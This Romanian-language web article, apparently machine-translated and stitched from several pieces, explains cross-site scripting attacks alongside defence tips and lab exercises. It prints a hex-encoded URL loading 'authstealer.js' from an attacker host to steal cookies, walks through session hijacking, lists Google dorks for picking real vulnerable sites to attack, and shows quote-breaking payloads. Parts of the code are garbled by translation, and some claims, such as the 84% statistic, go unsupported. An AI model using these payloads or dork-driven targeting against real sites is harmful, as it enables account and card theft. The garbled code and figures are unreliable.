Profitați la maximum de vulnerabilitățile XSS. Hack ușor: Cum să extrageți date prin includerea Cross Site Scripting Ce este vulnerabilitatea xss

Scripturile între site-uri folosind scripturile java sunt cel mai popular tip de atac. În acest material vă vom spune despre problemele care pot apărea din utilizarea unui script java și despre cum să vă protejați de atacurile XSS.

Ce este un atac XSS?

XSS este un tip de atac asupra utilizatorilor resurselor de Internet, al cărui scop este de a sustrage datele de autentificare ale administratorilor site-ului pentru a obține acces la partea administrativă și la alți utilizatori care au capacitatea de a accesa personal la părțile închise ale resursei. .

Aceste atacuri pot fi efectuate nu numai pentru a pirata un site, ci și pentru a fura:

• Acreditări pentru accesul la resurse de la terți;
• Numerele cardurilor bancare;
• Date pentru acces la portofelele electronice;
• Detalii de contact;
• Alte date confidențiale ale utilizatorului.

Vectori de atac XSS

Acest tip de atac are două direcții:

Activ – un tip de atac când un atacator încearcă să găsească vulnerabilități într-un filtru de resurse Internet. Folosind o anumită combinație de caractere și etichete, hackerul creează o solicitare pe care resursa o înțelege și execută comanda. După găsirea unei vulnerabilități în sistemul de securitate, cererea include cod rău intenționat, care, de exemplu, va trimite toate cookie-urile într-un loc convenabil pentru hacker.

Pasiv – presupune intervenția subiectului atacului. Ideea este de a forța utilizatorul să urmeze un link rău intenționat pentru a implementa cod rău intenționat. Aceste atacuri sunt dificil de implementat deoarece necesită ca atacatorul să aibă cunoștințe tehnice excelente și cunoștințe bune de psihologie.

Norme de siguranță

Pentru a evita să deveniți victima unui atac XSS, ar trebui să respectați următoarele reguli de securitate:

Regula principală pentru dezvoltatori este să folosească orice filtru.

Filtrați toate structurile imbricate.

Criptare. Când creați un filtru, asigurați-vă că luați în considerare riscul atacurilor de codificare. Există o mulțime de programe de codare cu care poți cripta orice atac, astfel încât niciun filtru să nu-l vadă. Deci aplicați decriptarea în filtru înainte de a executa codul de solicitare.

Aplicarea etichetelor. Există o vulnerabilitate asociată cu etichetele url, bb, img, care au mulți parametri, inclusiv lowsrc și dynsrc, care conțin javacsript. Aceste etichete ar trebui filtrate. Dacă nu utilizați imagini pe resursa dvs., dezactivați-le cu totul.

Filtrul utilizat trebuie să țină cont de diferite combinații posibile de caractere. Cu cât sunt mai multe, cu atât mai bine.

Concluzie

Conform statisticilor, 84% din resursele de pe Internet sunt bine protejate de atacurile XSS. Ceilalți 16% nu sunt în măsură să le reziste în mod eficient. Eliminarea acestui defect grav necesită proprietarilor de site-uri să facă investiții suplimentare în securitate, pentru care majoritatea nu sunt pregătiți. Cu toate acestea, înăsprirea legislației cu privire la deteriorarea, scurgerea și dezvăluirea datelor cu caracter personal obligă tot mai mult proprietarii fără scrupule să îmbunătățească securitatea site-urilor lor.

Ce este o vulnerabilitate XSS? Ar trebui să ne fie frică de ea?

Cross-site scripting (XSS pe scurt) este o vulnerabilitate larg răspândită care afectează multe aplicații web. Permite unui atacator să injecteze cod rău intenționat într-un site web, astfel încât browserul unui utilizator care vizitează site-ul va executa codul.

De obicei, exploatarea unei astfel de vulnerabilități necesită o anumită interacțiune cu utilizatorul: fie sunt atrași către un site infectat folosind inginerie socială, fie așteaptă pur și simplu ca utilizatorul să viziteze site-ul. Prin urmare, dezvoltatorii adesea nu iau în serios vulnerabilitățile XSS. Dar dacă nu sunt abordate, acestea pot reprezenta un risc serios de securitate.

Să ne imaginăm că suntem în panoul de administrare WordPress, adaugă conținut nou. Dacă folosim un plugin XSS-vulnerabil pentru aceasta, acesta poate forța browserul să creeze un nou administrator, să modifice conținutul și să efectueze alte acțiuni rău intenționate.

Cross-site scripting oferă unui atacator control aproape complet asupra celor mai importante softwareîn zilele noastre - un browser.

XSS: Vulnerabilitatea injectării

Orice site web sau aplicație are mai multe locuri pentru introducerea datelor - câmpuri de formular până la adresa URL în sine. Cel mai simplu exemplu de introducere a datelor este atunci când introducem un nume de utilizator și o parolă într-un formular:

Figura 1. Formular de introducere a datelor

Numele nostru va fi stocat în baza de date a site-ului pentru interacțiunile ulterioare cu noi. Cu siguranță, când v-ați conectat la orice site web, ați văzut un salut personal în stilul „Bine ați venit, Ilya”. În acest scop, numele de utilizator sunt stocate în baza de date.

O injecție este o procedură când, în loc de nume sau parolă, se introduce o secvență specială de caractere, forțând serverul sau browserul să răspundă într-un anumit mod dorit de atacator.

Cross-site scripting este o injecție care injectează cod care va efectua acțiuni în browser în numele unui site web. Acest lucru se poate întâmpla fie cu notificarea utilizatorului, fie fundal, fără știrea lui.

Figura 2. Diagrama vizuală a scripturilor cross-site

Cel mai simplu exemplu este un script simplu care afișează o fereastră de notificare. Arata cam asa:

Tabelul 1. Scriptul care provoacă fereastra pop-up

alert(„ACEASTA ESTE O VULNERABILITATE XSS!!!”)

Acest script afișează o fereastră cu mesajul „ASTA ESTE O VULNERABILITATE XSS!!!” Browserul utilizatorului percepe și execută acest script ca parte a codului legitim al site-ului.

Tipuri de vulnerabilități XSS

Nu toate vulnerabilitățile XSS sunt create egale; există multe tipuri. Iată tipurile și modul în care interacționează:

Figura 3. Tipuri de vulnerabilități XSS

Vulnerabilități cauzate de codul serverului (Java, PHP, .NET etc.):

Atacurile XSS tradiționale:

Reflectat (nepermanent). Un atac XSS reflectat este declanșat atunci când un utilizator face clic pe un link special creat. Aceste vulnerabilități apar atunci când datele furnizate de clientul web, cel mai adesea în parametrii de solicitare HTTP sau formular HTML, sunt executate direct de scripturi de pe partea serverului pentru a analiza și afișa pagina de rezultate pentru acel client, fără o procesare adecvată.

Stocat (persistent). XSS stocat este posibil atunci când un atacator reușește să injecteze cod rău intenționat în server, care este executat în browser de fiecare dată când este accesată pagina originală. Un exemplu clasic al acestei vulnerabilități sunt forumurile care permit comentarii HTML.

Vulnerabilități cauzate de codul clientului (JavaScript, Visual Basic, Flash etc.):

Cunoscute și ca modele DOM:

Reflectat (nepermanent). La fel ca și în cazul părții server, doar în acest caz atacul este posibil datorită faptului că codul este procesat de browser.

Stocat (persistent). Similar cu XSS stocat pe partea serverului, doar în acest caz componenta rău intenționată este stocată partea clientului folosind stocarea browserului.

Vulnerabilități cauzate de infrastructură (browser, pluginuri, servere etc.):

Sunt foarte rare, dar sunt mai periculoase:

Infrastructura la nivelul clientului. Apare atunci când o componentă rău intenționată efectuează orice manipulări cu funcționalitatea browserului, de exemplu cu filtrul său XSS etc.

Infrastructură pe partea serverului. Apare atunci când serverul web nu procesează corect cererile, permițând modificarea acestora.

Net. Apare atunci când este posibilă intervenția în comunicarea dintre client și server.

Vulnerabilități cauzate de utilizator:

Auto-XSS. Apare adesea ca urmare a ingineriei sociale atunci când un utilizator rulează accidental cod rău intenționat în browserul său.

Care sunt pericolele XSS?

Cum vă puteți proteja site-ul de XSS? Cum să vă verificați codul pentru vulnerabilități? Există tehnologii precum Sucuri Firewall care sunt special concepute pentru a evita astfel de atacuri. Dar dacă sunteți dezvoltator, cu siguranță veți dori să aflați mai multe despre cum să identificați și să reduceți vulnerabilitățile XSS. Vom vorbi despre asta în următoarea parte a articolului despre XSS.

• 1. Ce este XSS
• 2.Tipuri de XSS
• 3. Caracteristicile XSS bazate pe DOM
• 4.XSS Auditor
• 5.Exemple de exploatare XSS
• 6.Căutați site-uri vulnerabile la XSS
• 7.Programe de căutare și Scanare XSS vulnerabilități

Ce este XSS

Cross-site scripting (XSS) este o vulnerabilitate care implică injectarea codului client (JavaScript) într-o pagină web pe care o vizualizează alți utilizatori.

Vulnerabilitatea se datorează filtrarii insuficiente a datelor pe care utilizatorul le trimite spre inserare în pagina web. Mult mai ușor de înțeles exemplu concret. Amintiți-vă orice carte de oaspeți - acestea sunt programe care sunt concepute să accepte date de la utilizator și apoi să le afișeze. Să ne imaginăm că cartea de oaspeți nu verifică sau filtrează în niciun fel datele introduse, ci pur și simplu le afișează.

Îl poți schița pe al tău script simplu(nu este nimic mai ușor decât să scrieți scripturi proaste în PHP - mulți oameni fac asta). Dar există deja o mulțime de opțiuni gata făcute. De exemplu, sugerez să începem cu Dojo și OWASP Mutillidae II. Există un exemplu similar acolo. Într-un mediu Dojo autonom, accesați acest link în browser: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Dacă unul dintre utilizatori a introdus:

Buna ziua! Ce mai faci.

Pagina web va afișa apoi:

Buna ziua! Ce mai faci.

Și dacă utilizatorul introduce asta:

Buna ziua! Ce mai faci. alert(„Pwned”)

Apoi va fi afișat astfel:

Browserele stochează mai multe module cookie pentru un număr mare de site-uri. Fiecare site poate primi doar cookie-uri salvate de la sine. De exemplu, example.com a stocat unele cookie-uri în browserul dumneavoastră. Dacă vizitați another.com, acest site (scripturi client și server) nu poate accesa cookie-urile pe care example.com le-a stocat.

Dacă example.com este vulnerabil la XSS, aceasta înseamnă că putem injecta cumva cod JavaScript în el, iar acel cod va fi executat în numele example.com! Acestea. Acest cod va accesa, de exemplu, modulele cookie ale example.com.

Cred că toată lumea își amintește că JavaScript este executat în browserele utilizatorilor, adică. în prezența XSS, codul rău intenționat încorporat obține acces la datele utilizatorului care a deschis pagina site-ului.

Codul încorporat poate face tot ce poate face JavaScript, și anume:

• obține acces la cookie-urile site-ului web pe care îl vizualizați
• poate face orice modificare la aspect pagini
• accesează clipboard-ul
• poate implementa programe JavaScript, de exemplu, keylogger (interceptoare de taste)
• ridica pe Beef

Cel mai simplu exemplu cu cookie-uri:

alertă (document.cookie)

De fapt, alerta este folosită doar pentru a detecta XSS. Sarcina utilă reală rău intenționată efectuează acțiuni ascunse. Ea contactează în secret server la distanta atacatorului și îi transferă datele furate.

Tipuri de XSS

Cel mai important lucru de înțeles despre tipurile de XSS este că acestea sunt:

• Stocat (permanent)
• Reflectat (volativ)

Exemplu de constante:

• Un mesaj special creat de atacator introdus în cartea de oaspeți (comentariu, mesaj pe forum, profil), care este salvat pe server, este descărcat de pe server de fiecare dată când utilizatorii solicită afișarea acestei pagini.
• Atacatorul a obținut acces la datele serverului, de exemplu, prin injecție SQLși a introdus cod JavaScript rău intenționat (cu keylogger sau BeEF) în datele furnizate utilizatorului.

Exemplu de cele nepermanente:

• Există o căutare pe site care, împreună cu rezultatele căutării, arată ceva de genul „Ați căutat: [șir de căutare]”, iar datele nu sunt filtrate corect. Deoarece o astfel de pagină este afișată numai persoanei care are un link către ea, atacul nu va funcționa până când atacatorul nu trimite linkul către alți utilizatori ai site-ului. În loc să trimiteți un link către victimă, puteți utiliza plasarea unui script rău intenționat pe un site neutru pe care îl vizitează victima.

De asemenea, ei disting (unele ca un tip de vulnerabilități XSS nepersistente, unii spun că acest tip poate fi și un tip de XSS persistent):

• Modele DOM

Caracteristicile XSS bazate pe DOM

Pentru a spune foarte simplu, putem vedea codul rău intenționat al XSS nepersistent „obișnuit” dacă deschidem codul HTML. De exemplu, legătura este formată astfel:

Http://example.com/search.php?q="/>alertă(1)

Și la deschidere HTML sursăÎn cod vedem ceva de genul:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >alertă(1)" />< button type = "submit" class = "ui-button" >Găsi

Și DOM XSS schimbă structura DOM, care se formează în browser din mers și putem vedea doar cod rău intenționat atunci când vedem structura DOM generată. HTML-ul nu se schimbă. Să luăm acest cod ca exemplu:

< html > < head > < title >site:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >A aparut o eroare...< script >funcția OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) funcția get_fragment() ( var r4c = "(.*?)"; var rezultate = location.hash.match(".*input=token(" + r4c + ");") if (rezultate) ( document.getElementById("default").innerHTML = ""; return (unescape(rezultate)); ) else ( return null; ) ) display_session = OnLoad(); document.write("ID-ul sesiunii dvs. a fost: " + display_session + "< br >< br >")

Apoi, în browser vom vedea:

Codul sursă al paginii:

Să formăm adresa astfel:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Acum pagina arată așa:

Dar să ne uităm sursă HTML:

Acolo nu s-a schimbat absolut nimic. Despre asta vorbeam, trebuie să ne uităm la structura DOM a documentului pentru a identifica codul rău intenționat:

Iată un prototip XSS funcțional, pentru un atac real avem nevoie de o sarcină utilă mai complexă, ceea ce nu este posibil din cauza faptului că aplicația nu mai citește imediat după punct și virgulă, iar ceva de genul alert(1);alert(2) este nu. mai mult posibil. Cu toate acestea, datorită unescape() putem folosi o sarcină utilă ca aceasta în datele returnate:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Unde am înlocuit simbolul ; la echivalentul codificat URI!

Acum putem scrie o încărcătură JavaScript rău intenționată și să compunem un link pe care să îl trimitem victimei, așa cum se face pentru scripturile standard nepersistente între site-uri.

Auditor XSS

ÎN Google Chrome(și tot în Opera, care acum folosește motorul Google Chrome), mă aștepta această surpriză:

dom_xss.html:30 Auditorul XSS a refuzat să execute un script în „http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);” deoarece codul sursă a fost găsit în cerere . Auditorul a fost activat deoarece serverul nu a trimis nici un antet „X-XSS-Protection”, nici „Content-Security-Policy”.

Acestea. browserul are acum un auditor XSS care va încerca să prevină XSS. Firefox nu are încă această funcționalitate, dar cred că este o chestiune de timp. Dacă implementarea în browsere are succes, atunci putem vorbi despre o dificultate semnificativă în utilizarea XSS.

E bine să ne amintim asta browsere moderne iau măsuri pentru a limita nivelul de exploatare a problemelor precum XSS nepersistent și XSS bazat pe DOM. Acesta este, de asemenea, ceva de reținut atunci când testați site-uri web folosind un browser - se poate dovedi că aplicația web este vulnerabilă, dar nu vedeți confirmarea pop-up-ului doar pentru că browserul o blochează.

Exemple de exploatare XSS

Atacatorii care intenționează să exploateze vulnerabilitățile cross-site scripting trebuie să abordeze fiecare clasă de vulnerabilitate în mod diferit. Vectorii de atac pentru fiecare clasă sunt descriși aici.

Pentru vulnerabilitățile XSS, atacurile pot folosi BeEF, care extinde atacul de pe site la mediul local al utilizatorilor.

Exemplu de atac XSS nepersistent

1. Alice vizitează frecvent un anumit site web găzduit de Bob. Site-ul web al lui Bob îi permite lui Alice să se conecteze cu un nume de utilizator/parolă și să stocheze date sensibile, cum ar fi informațiile de plată. Când un utilizator se conectează, browserul stochează cookie-uri de autorizare, care arată ca niște caractere fără sens, de exemplu. ambele computere (client și server) își amintesc că a intrat.

2. Mallory observă că site-ul lui Bob conține o vulnerabilitate XSS nepersistentă:

2.1 Când vizitați pagina de căutare, introduceți șirul de căutare și faceți clic pe butonul de trimitere, dacă nu sunt găsite rezultate, pagina afișează șirul de căutare introdus urmat de cuvintele „nu găsit” și url-ul arată ca http://bobssite .org?q= ea interogare de căutare

2.2 Cu o interogare de căutare normală, cum ar fi cuvântul „câini”, pagina afișează pur și simplu „no dogs found” și url-ul http://bobssite.org?q=dogs, care este un comportament complet normal.

2.3 Cu toate acestea, atunci când o interogare de căutare anormală, cum ar fi alert(‘xss’); :

2.3.1 Apare un mesaj de avertizare (care spune „xss”).

2.3.2 Pagina afișează alert(‘xss’); nu a fost găsit împreună cu un mesaj de eroare cu textul „xss”.

2.3.3 url potrivit pentru exploatare http://bobssite.org?q=alert('xss');

3. Mallory construiește o adresă URL pentru a exploata vulnerabilitatea:

3.1 Ea face adresa URL http://bobssite.org?q=puppies. Ea poate alege să convertească caracterele ASCII într-un format hexazecimal, cum ar fi http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E, în ordine pentru a împiedica oamenii să descifreze imediat o adresă URL rău intenționată.

3.2 Ea trimite un e-mail unor membri nebănuiți ai site-ului lui Bob spunând: „Uită-te la câinii cool”.

4. Alice primește o scrisoare. Iubește câinii și dă clic pe link. Ea merge pe site-ul lui Bob în căutare, nu găsește nimic, acolo este afișat „no dog found”, iar în mijloc este lansată o etichetă cu un script (este invizibil pe ecran), descarcă și execută Malory. programul authstealer.js (declanșează un atac XSS). Alice uită de asta.

5. Programul authstealer.js rulează în browser-ul lui Alice ca și cum ar fi provenit de pe site-ul lui Bob. Ea ia o copie a cookie-urilor de autorizare ale lui Alice și le trimite pe serverul lui Malory, unde Malory le preia.

7. Acum că Malorie este înăuntru, merge la secțiunea de plată a site-ului, caută și fură o copie a numărului cardului de credit al lui Alice. Apoi se duce și schimbă parola, adică. Acum, Alice nici nu mai poate intra.

8. Ea decide să facă următorul pas și trimite link-ul astfel construit lui Bob însuși și astfel primește privilegii administrative pentru site-ul lui Bob.

Atacul XSS persistent

Mallory are un cont pe site-ul lui Bob.

Mallory observă că site-ul lui Bob conține o vulnerabilitate XSS persistentă. Dacă te duci la noua sectiune, postați un comentariu, acesta afișează orice este introdus în el. Dar dacă textul comentariului conține etichete HTML, acele etichete vor fi redate așa cum sunt și orice etichete de script vor fi executate.

Mallory citește un articol în secțiunea Știri și scrie un comentariu în secțiunea Comentarii. În comentariu ea introduce textul:

Mi-au plăcut foarte mult câinii din această poveste. Sunt atât de drăguți!

Când Alice (sau oricine altcineva) încarcă o pagină cu acest comentariu, eticheta de script a lui Malory rulează și fură cookie-ul de autorizare al lui Alice, trimițându-l la serverul secret al lui Malory pentru colectare.

Mallory poate deturna acum sesiunea lui Alice și se poate uzurpa pe Alice.

Găsirea site-urilor vulnerabile la XSS

Dorks pentru XSS

Primul pas este să selectăm site-urile pe care vom efectua atacuri XSS. Site-urile pot fi căutate folosind Google dorks. Iată câțiva dintre acești idioți pe care îi puteți copia și lipi într-o căutare pe Google:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

O listă de site-uri se va deschide în fața noastră. Trebuie să deschideți site-ul și să găsiți câmpuri de introducere pe acesta, cum ar fi un formular părere, formular de introducere, căutare pe site etc.

Permiteți-mi să observ imediat că este aproape inutil să căutați vulnerabilități în aplicațiile web populare actualizate automat. Un exemplu clasic de astfel de aplicație este WordPress. De fapt, există vulnerabilități în WordPress și mai ales în pluginurile sale. Mai mult, sunt multe site-uri care nu actualizează nici motorul WordPress (datorită faptului că webmasterul a făcut unele modificări la codul sursă), nici plugin-urile și temele lor (de regulă, acestea sunt plugin-uri și teme piratate). Dar dacă citești această secțiune și înveți ceva nou din ea, atunci WordPress nu este încă pentru tine... Cu siguranță vom reveni la el mai târziu.

Cele mai bune obiective sunt o varietate de motoare și scripturi auto-scrise.

Puteți selecta sarcina utilă de inserare ca

alertă (1)

Fiți atenți la ce etichete de cod HTML se încadrează codul dvs. încorporat. Iată un exemplu de câmp de intrare tipic

< input type = "text" class = "ui-input query" name = "q" value = "fata de perna" />< script >alertă (1)< input value = "" />

Sarcina noastră utilă va ajunge acolo unde este acum cuvântul „față de pernă”. Acestea. se transformă în valoarea etichetei de intrare. Putem evita asta - îl vom închide citat dublu, iar apoi eticheta în sine folosind „/>

"/>alertă(1)

Programe pentru căutarea și scanarea vulnerabilităților XSS

Probabil că toate scanerele de aplicații web au un scaner de vulnerabilități XSS încorporat. Acest subiect nu este cuprinzător; este mai bine să vă familiarizați cu fiecare scaner similar separat.

Există, de asemenea, instrumente specializate pentru scanarea vulnerabilităților XSS. Dintre acestea putem evidenția în special:

• XSSer nu este doar un scaner puternic care poate fi folosit metode diferite implementând și ocolind filtrarea, este, de asemenea, un instrument automat pentru căutarea site-urilor vulnerabile la XSS (de către dorks). Pentru site-urile cu vulnerabilități găsite, poate injecta o sarcină utilă pentru un atac real;
• XssPy este, de asemenea, un instrument destul de independent care poate găsi toate paginile unui site (inclusiv cele de pe subdomenii) și poate verifica toate elementele de intrare din aceste pagini;
• BruteXSS – o caracteristică pozitivă a acestui instrument este excluderea completă a rezultatelor false pozitive.

Aplicații web vulnerabile pentru testarea XSS

Cele mai multe seturi de aplicații web vulnerabile (cu excepția unora foarte specializate) conțin site-uri care sunt vulnerabile la XSS. Cea mai bună opțiune este să le folosiți în mediul de învățare offline Dojo, care a colectat multe aplicații pentru testare. De exemplu, vă puteți antrena abilitățile în identificarea și exploatarea XSS prin:

Aplicația web vulnerabilă (DVWA):

• http://localhost/dvwa/vulnerabilities/xss_r/ (XSS nepersistent)
• http://localhost/dvwa/vulnerabilities/xss_s/ (XSS stocat)

Mutillidae/NOWASP (o mulțime de variații XSS diferite)

• http://localhost/mutillidae/